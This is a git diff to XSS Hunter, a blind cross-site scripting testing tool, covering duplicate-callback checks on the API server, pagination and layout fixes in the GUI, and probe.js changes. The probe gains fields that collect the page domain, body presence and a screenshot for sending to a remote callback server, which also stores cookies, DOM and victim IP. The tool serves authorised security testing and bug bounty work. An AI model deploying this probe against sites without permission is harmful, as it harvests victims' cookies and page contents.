diff --git a/api/apiserver.py b/api/apiserver.py index 336c09f..13cfca8 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -61,7 +61,6 @@ def __init__(self, *args, **kwargs): self.set_header("Cache-Control", "no-cache, no-store, must-revalidate") self.set_header("Pragma", "no-cache") self.set_header("Expires", "0") - self.set_header("Server", "") self.request.remote_ip = self.request.headers.get( "X-Forwarded-For" ) @@ -196,9 +195,14 @@ def upload_screenshot( base64_screenshot_data_uri ): return screenshot_filename def record_callback_in_database( callback_data, request_handler ): - screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) + if len(callback_data["screenshot"]) > 0: + screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) + else: + screenshot_file_path = '' injection = Injection( vulnerable_page=callback_data["uri"].encode("utf-8"), + vulnerable_domain=callback_data["domain"].encode("utf-8"), + document_body=callback_data["document-body"], victim_ip=callback_data["ip"].encode("utf-8"), referer=callback_data["referrer"].encode("utf-8"), user_agent=callback_data["user-agent"].encode("utf-8"), @@ -405,12 +409,18 @@ def post( self ): else: callback_data = json.loads( self.request.body ) callback_data['ip'] = self.request.remote_ip - injection_db_record = record_callback_in_database( callback_data, self ) - self.logit( "User " + owner_user.username + " just got an XSS callback for URI " + injection_db_record.vulnerable_page ) - if owner_user.email_enabled: - send_javascript_callback_message( owner_user.email, injection_db_record ) - self.write( '{}' ) + # Check if injection already recently recorded + owner_user = self.get_user_from_subdomain() + if 0 < session.query( InjectionRequest ).filter( Injection.owner_id == owner_user.id, Injection.vulnerable_page == callback_data["uri"].encode("utf-8"), Injection.victim_ip == self.request.remote_ip, Injection.user_agent == callback_data["user-agent"].encode("utf-8"), Injection.injection_timestamp > time.time()-900).count(): + self.write( '{"DUPLICATE"}' ) + else: + injection_db_record = record_callback_in_database( callback_data, self ) + self.logit( "User " + owner_user.username + " just got an XSS callback for URI " + injection_db_record.vulnerable_page ) + + if owner_user.email_enabled: + send_javascript_callback_message( owner_user.email, injection_db_record ) + self.write( '{}' ) class HomepageHandler(BaseHandler): def get(self, path): @@ -439,8 +449,16 @@ def get(self, path): else: new_probe = new_probe.replace( '[TEMPLATE_REPLACE_ME]', json.dumps( "" )) + # Check recent callbacks + if "Referer" in self.request.headers: + if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900, Injection.vulnerable_page == self.request.headers.get("Referer")).count(): + new_probe = 'Injection already recorded within last fifteen minutes' + else: + if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900).count(): + new_probe = 'Injection already recorded within last fifteen minutes' + if self.request.uri != "/": - probe_id = self.request.uri.split( "/" )[1] + probe_id = self.request.uri.split('/')[1].split('?')[0] self.write( new_probe.replace( "[PROBE_ID]", probe_id ) ) else: self.write( new_probe ) @@ -503,7 +521,11 @@ def delete( self ): self.logit( "User delted injection record with an id of " + injection_db_record.id + "(" + injection_db_record.vulnerable_page + ")") - os.remove( injection_db_record.screenshot ) + try: + os.remove( injection_db_record.screenshot ) + except OSError as e: + self.logit("Screenshot doesn't exist - " + injection_db_record.screenshot) + pass injection_db_record = session.query( Injection ).filter_by( id=str( delete_data.get( "id" ) ) ).delete() session.commit() @@ -543,7 +565,7 @@ class InjectionRequestHandler( BaseHandler ): """ def post( self ): return_data = {} - request_dict = json.loads( self.request.body ) + request_dict = json.loads( self.request.body.replace('\r', '\\n') ) if not self.validate_input( ["request", "owner_correlation_key", "injection_key"], request_dict ): return diff --git a/api/models/injection_record.py b/api/models/injection_record.py index 19a1970..2efc044 100644 --- a/api/models/injection_record.py +++ b/api/models/injection_record.py @@ -10,6 +10,8 @@ class Injection(Base): type = Column(String(100)) # JavaScript/Image injection_timestamp = Column(Integer()) vulnerable_page = Column(String(3000)) + vulnerable_domain = Column(String(300)) + document_body = Column(Boolean(), default=False, nullable=False) victim_ip = Column(String(100)) referer = Column(String(3000)) user_agent = Column(String(3000)) @@ -25,7 +27,7 @@ def generate_injection_id( self ): self.id = binascii.hexlify(os.urandom(50)) def get_injection_blob( self ): - exposed_attributes = [ "id", "vulnerable_page", "victim_ip", "referer", "user_agent", "cookies", "dom", "origin", "screenshot", "injection_timestamp", "correlated_request", "browser_time" ] + exposed_attributes = [ "id", "document_body", "vulnerable_domain", "vulnerable_page", "victim_ip", "referer", "user_agent", "cookies", "dom", "origin", "screenshot", "injection_timestamp", "correlated_request", "browser_time" ] return_dict = {} for attribute in exposed_attributes: diff --git a/api/probe.js b/api/probe.js index 471413b..77fb11a 100644 --- a/api/probe.js +++ b/api/probe.js @@ -20,7 +20,7 @@ $$ | $$ |\$$$$$$$\ \$$$$$$$ |$$$$$$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$\ This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters. -If you believe that this payload has been used to attempt to comprimise your service without permission, please contact us. +If you believe that this payload has been used to attempt to compromise your service without permission, please contact us. */ // https://github.com/niklasvh/html2canvas @@ -153,7 +153,18 @@ function addEvent(element, eventName, fn) { probe_return_data = {}; +if( document.body ) { + probe_return_data["document-body"] = true; +} else { + probe_return_data["document-body"] = false; +} + // Prevent failure incase the browser refuses to give us any of the probe data. +try { + probe_return_data['domain'] = never_null( document.domain ); +} catch ( e ) { + probe_return_data['domain'] = ''; +} try { probe_return_data['uri'] = never_null( location.toString() ); } catch ( e ) { @@ -205,6 +216,9 @@ function hook_load_if_not_ready() { html2canvas(document.body).then(function(canvas) { probe_return_data['screenshot'] = canvas.toDataURL(); finishing_moves(); + },function() { + probe_return_data['screenshot'] = ''; + finishing_moves(); }); } catch( e ) { probe_return_data['screenshot'] = ''; diff --git a/api/uploads/README.md b/api/uploads/README.md new file mode 100644 index 0000000..83338b5 --- /dev/null +++ b/api/uploads/README.md @@ -0,0 +1 @@ +Folder that screenshots go in. diff --git a/generate_config.py b/generate_config.py index 2af17d7..1ebd2e7 100755 --- a/generate_config.py +++ b/generate_config.py @@ -2,6 +2,11 @@ import binascii import yaml import os +import platform + +if "Ubuntu" in platform.dist()[0]: + if "16.04" in platform.dist()[1]: + os.system("sudo apt install python-yaml") nginx_template = """ server { diff --git a/gui/guiserver.py b/gui/guiserver.py index 563a12a..b4a08b4 100755 --- a/gui/guiserver.py +++ b/gui/guiserver.py @@ -19,7 +19,7 @@ def __init__(self, *args, **kwargs): self.set_header("X-XSS-Protection", "1; mode=block") self.set_header("X-Content-Type-Options", "nosniff") self.set_header("Server", "") - self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'") + self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' data: api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'; child-src 'self'") def compute_etag( self ): return None diff --git a/gui/static/css/main.css b/gui/static/css/main.css index f17dd33..4486c3d 100644 --- a/gui/static/css/main.css +++ b/gui/static/css/main.css @@ -26,4 +26,5 @@ body { } .panel-body { margin-bottom: 20px; + word-wrap: break-word; } diff --git a/gui/static/css/mainapp.css b/gui/static/css/mainapp.css index 0b3a0e1..5dbb436 100644 --- a/gui/static/css/mainapp.css +++ b/gui/static/css/mainapp.css @@ -48,12 +48,20 @@ label { text-align: center; } +.xss_fire_thumbnail_column_header { + width: 180px; +} + .xss_fire_thumbnail_column { - max-width: 400px; + width: 180px; } -.victim_ip_address_column { - max-width: 140px; +.injection_timestamp_column_header { + width: 200px; +} + +.victim_ip_address_column_header { + width: 140px; } .xss_payload_fire_options_column_header { @@ -139,6 +147,10 @@ li.L5, li.L6, li.L7, li.L8 width: 100%; } +.full_report_vulnerable_domain { + color: black; +} + .vulnerable_page_uri_column { max-width: 0; overflow: hidden; @@ -146,8 +158,12 @@ li.L5, li.L6, li.L7, li.L8 white-space: nowrap; } +.injection_timestamp_column { + width: 200px; +} + .victim_ip_address_column { - max-width: 0; + max-width: 140px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; @@ -155,7 +171,7 @@ li.L5, li.L6, li.L7, li.L8 .xss_fire_thumbnail_image { width: 100%; - max-height: 400px; + max-height: 143px; cursor: pointer; } diff --git a/gui/static/js/app.js b/gui/static/js/app.js index 3717816..be45941 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -136,7 +136,7 @@ function display_full_report( id ) { var markdown_template = "# XSS Hunter Report\r\n\r\nThe page located at `{{vulnerable_page}}` suffers from a Cross-site Scripting (XSS) vulnerability. XSS is a vulnerability which occurs when user input is unsafely encorporated into the HTML markup inside of a webpage. When not properly escaped an attacker can inject malicious JavaScript that, once evaluated, can be used to hijack authenticated sessions and rewrite the vulnerable page\'s layout and functionality. The following report contains information on an XSS payload that has fired on `{{origin}}`, it can be used to reproduce and remediate the vulnerability.\r\n\r\n### XSS Payload Fire Details\r\n##### Vulnerable Page\r\n`{{vulnerable_page}}`\r\n\r\n##### Victim IP Address\r\n`{{victim_ip}}`\r\n\r\n##### Referer\r\n`{{referer}}`\r\n\r\n##### User Agent\r\n`{{user_agent}}`\r\n\r\n##### Cookies (Non-HTTPOnly)\r\n`{{cookies}}`\r\n\r\n##### Document Object Model (DOM)\r\n```html\n{{dom}}\n```\r\n\r\n##### Injection Point (Raw HTTP Request)\r\n```http\n{{correlated_request}}\r\n```\n\r\n\r\n##### Origin\r\n`{{origin}}`\r\n\r\n##### HTML5 Canvas-Rendered Screenshot\r\nhttps:\/\/api." + BASE_DOMAIN + "\/{{screenshot}}\r\n\r\n##### Injection Timestamp\r\n`{{injection_timestamp}}`\r\n\r\n## Remediation\r\nFor more information about Cross-site Scripting and remediation of the issue, see the following resources:\r\n\r\n* [Cross-site Scripting (XSS) - OWASP](https:\/\/www.owasp.org\/index.php\/Cross-site_Scripting_(XSS))\r\n* [XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP](https:\/\/www.owasp.org\/index.php\/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n* [What is Cross-site Scripting and How Can You Fix it?](https:\/\/www.acunetix.com\/websitesecurity\/cross-site-scripting\/)\r\n* [An Introduction to Content Security Policy - HTML5 Rocks](http:\/\/www.html5rocks.com\/en\/tutorials\/security\/content-security-policy\/)\r\n* [Why is the same origin policy so important? - Information Security Stack Exchange](https:\/\/security.stackexchange.com\/questions\/8264\/why-is-the-same-origin-policy-so-important)\r\n\r\n*This report was generated by an XSS Hunter server: https://github.com/mandatoryprogrammer/xsshunter*"; $( ".full_injection_report_expanded" ).remove(); - var full_report_row = $.parseHTML( '

Vulnerable Page URL

Execution Origin

User IP Address

Referer

Victim User Agent

Cookies

DOM

Injection Point (Raw HTTP Request)

Markdown Report

')[0]; + var full_report_row = $.parseHTML( '

Screen Capture

Vulnerable Page URL

Document Body Available

Execution Origin

User IP Address

Referer

Victim User Agent

Cookies

DOM

Injection Point (Raw HTTP Request)

Markdown Report

')[0]; var i = get_injection_row_offset( id ); var injection = get_injection_data_from_id( id ); @@ -155,6 +155,12 @@ function display_full_report( id ) { vulnerable_page_link.text = injection["vulnerable_page"]; full_report_row.querySelector( ".full_report_vulnerable_page_url" ).appendChild( vulnerable_page_link ); + if( injection["document_body"] == true) { + full_report_row.querySelector( ".full_report_body" ).innerText = "TRUE"; + } else { + full_report_row.querySelector( ".full_report_body" ).innerText = "FALSE"; + } + var victim_ip_trace_link = document.createElement( "a" ); victim_ip_trace_link.href = "http://www.ip-tracker.org/locator/ip-lookup.php?ip=" + injection["victim_ip"]; victim_ip_trace_link.target = "_blank"; @@ -193,10 +199,12 @@ function display_full_report( id ) { var generate_markdown_report_button = $.parseHTML( '' )[0]; full_report_row.querySelector( ".full_report_markdown" ).appendChild( generate_markdown_report_button ); - var screenshot_link = API_SERVER + "/" + injection["screenshot"]; + if( injection["screenshot"].length > 0 ) { + var screenshot_link = API_SERVER + "/" + injection["screenshot"]; - full_report_row.querySelector( ".full_report_screenshot" ).src = screenshot_link; - full_report_row.querySelector( ".full_report_screenshot_link" ).href = screenshot_link; + full_report_row.querySelector( ".full_report_screenshot" ).src = screenshot_link; + full_report_row.querySelector( ".full_report_screenshot_link" ).href = screenshot_link; + } $('#injection_data_table > tbody > tr').eq( i ).after( full_report_row.outerHTML ); @@ -301,7 +309,7 @@ function populate_collected_pages( offset, limit ) { } function append_collected_page_row( collected_page_data ) { - var example_row = $.parseHTML( '')[0]; + var example_row = $.parseHTML( '')[0]; example_row.id = collected_page_data["id"]; $( example_row ).find( ".collected_page_link" ).text( collected_page_data["uri"] ); if( is_safe_uri( collected_page_data["uri"] ) ) { @@ -318,13 +326,18 @@ function append_collected_page_row( collected_page_data ) { $( ".collected_page_full_page_view" ).remove(); } }); + current_page = parseInt( document.querySelectorAll( ".page_number.active" )[1].childNodes[0].text ); + var begin = (document.querySelectorAll( ".collected_pages_row_template" ).length > 1 ? current_page-1 : current_page-2); + setTimeout(function(){populate_collected_pages( (begin * 5), 5 )}, 500); }); } function append_xss_fire_row( injection_data ) { - var example_row = $.parseHTML( '')[0]; + var example_row = $.parseHTML( '
')[0]; example_row.id = injection_data["id"]; - example_row.querySelector( ".xss_fire_thumbnail_image" ).src = API_SERVER + "/" + injection_data["screenshot"]; + var time = new Date((injection_data["injection_timestamp"]*1000)); + example_row.querySelector( ".injection_timestamp" ).innerText = time.toLocaleString((navigator.languages && navigator.languages.length) ? navigator.languages[0] : "en-US"); + if( injection_data["screenshot"].length > 0 ) example_row.querySelector( ".xss_fire_thumbnail_image" ).src = API_SERVER + "/" + injection_data["screenshot"]; example_row.querySelector( ".ip_address_trace_link" ).href = "http://www.ip-tracker.org/locator/ip-lookup.php?ip=" + injection_data["victim_ip"]; example_row.querySelector( ".ip_address_trace_link" ).text = injection_data["victim_ip"]; example_row.querySelector( ".vulnerable_page_uri" ).text = injection_data["vulnerable_page"]; @@ -342,6 +355,9 @@ function append_xss_fire_row( injection_data ) { $( ".full_injection_report_expanded" ).remove(); } }); + current_page = parseInt( document.querySelector( ".page_number.active" ).childNodes[0].text ); + var begin = (document.querySelectorAll( ".xss_fire_row_template" ).length > 1 ? current_page-1 : current_page-2); + setTimeout(function(){populate_xss_fires( (begin * 5), 5 )}, 500); }); $("#resend_email_button_" + injection_data["id"] ).click( function() { @@ -363,15 +379,15 @@ function create_paginator_widget( count, offset, total, target_div_selector, pag var paginator_next_button = $.parseHTML( '
  • NEXT
  • ' )[0]; var paginator_number_button = $.parseHTML( '
  • ' )[0]; var pages = Math.ceil( total / count ); - var current_page = Math.ceil( offset / count ); + var current_page = Math.ceil( offset / count )+1; - if( current_page == 0 ) { + if( current_page <= 1 ) { paginator_previous_button.className = paginator_previous_button.className + " disabled"; } paginator.appendChild( paginator_previous_button ); - for( var i = 0; i < pages; i++ ) { + for( var i = 1; i <= pages; i++ ) { var number_button_copy = paginator_number_button.cloneNode(true); if( i == current_page ) { @@ -383,7 +399,7 @@ function create_paginator_widget( count, offset, total, target_div_selector, pag paginator.appendChild( paginator_next_button ); - if( current_page >= ( pages - 1 ) ) { + if( current_page >= ( pages ) ) { paginator_next_button.className = paginator_next_button.className + " disabled"; } @@ -391,17 +407,17 @@ function create_paginator_widget( count, offset, total, target_div_selector, pag $( target_div_selector ).find( ".page_number" ).click(function() { current_page_number = parseInt( this.childNodes[0].text ); - page_change_callback( ( current_page_number * 5 ), 5 ); + page_change_callback( ( (current_page_number-1) * 5 ), 5 ); }); $( target_div_selector ).find( ".next_page_button" ).click(function() { next_page = ( parseInt( $( target_div_selector ).find(".page_number.active")[0].childNodes[0].text ) + 1 ) - page_change_callback( ( next_page * 5 ), 5 ); + page_change_callback( ( (next_page-1) * 5 ), 5 ); }); $( target_div_selector ).find( ".previous_page_button" ).click(function() { next_page = ( parseInt( $( target_div_selector ).find(".page_number.active")[0].childNodes[0].text ) - 1 ) - page_change_callback( ( next_page * 5 ), 5 ); + page_change_callback( ( (next_page-1) * 5 ), 5 ); }); } diff --git a/gui/templates/mainapp_xss_fires.htm b/gui/templates/mainapp_xss_fires.htm index 45a6fa5..5bc223e 100644 --- a/gui/templates/mainapp_xss_fires.htm +++ b/gui/templates/mainapp_xss_fires.htm @@ -3,9 +3,11 @@ - + + +
    ThumbnailDate Victim IP Vulnerable Page URIThumbnail Options